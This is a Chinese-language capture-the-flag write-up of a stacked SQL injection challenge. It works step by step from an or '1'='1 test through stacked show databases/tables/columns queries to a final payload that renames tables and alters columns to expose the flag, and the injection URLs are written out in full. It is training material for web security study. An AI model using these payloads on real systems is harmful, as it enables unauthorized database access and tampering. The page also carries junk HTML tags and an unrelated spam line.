<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    隨便注

    知識點:堆疊注入

    步驟:

    1.打開靶機,發現是這樣一個頁面。


    2.然后提交試試。發現似乎是直接把返回的原始數據給返回了。


    3.然后來測試一下有沒有注入,似乎是有的。

    /?inject=1%27or+%271%27%3D%271 /?inject=1' or '1'='1

    4.來檢查一下過濾情況,過濾函數如下。

    過濾了 select,update,delete,drop,insert,where 和 點。

    5.咦,過濾了那么些詞,是不是有堆疊注入?一測,還真有。下面列出數據庫試試。

    /?inject=222%27%3Bshow+databases%3B%23
    /?inject=222';show databases;#

    1. OK,可以。那看看有啥表。

    /?inject=222%27%3Bshow+tables%3B%23 /?inject=222';show tables;#

    7.來看看這個數字為名字的表里有啥。看來 flag 在這了。

    /?inject=222%27%3Bshow+columns%20from%201919810931114514%3B%23 /?inject=222';show columns from1919810931114514;#

    8.然后是 words 表,看起來就是默認查詢的表了。

    /?inject=222%27%3Bshow+columns%20from%20words%3B%23 /?inject=222';show columns fromwords;#

    9.他既然沒過濾 alert 和 rename,那么我們是不是可以把表改個名字,再給列改個名字呢。

    先把 words 改名為 words1,再把這個數字表改名為 words,然后把新的 words 里的 flag 列改為 id (避免一開始無法查詢)。

    這樣就可以讓程序直接查詢出 flag 了。

    10.構造 payload 如下,然后訪問,看到這個看來就執行到最后一個語句了。(改表名那里直接從 pma 拷了一個語句過來改- -)

    /?inject=1%27;RENAME%20TABLE%20`words`%20TO%20`words1`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20VARCHAR(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20words;#
    /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#`

    11.用 1' or '1'='1訪問一下。

    `/?inject=1%27+or+%271%27%3D%271# /?inject=1’ or ‘1’=’1

    1. Flag 到手~

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类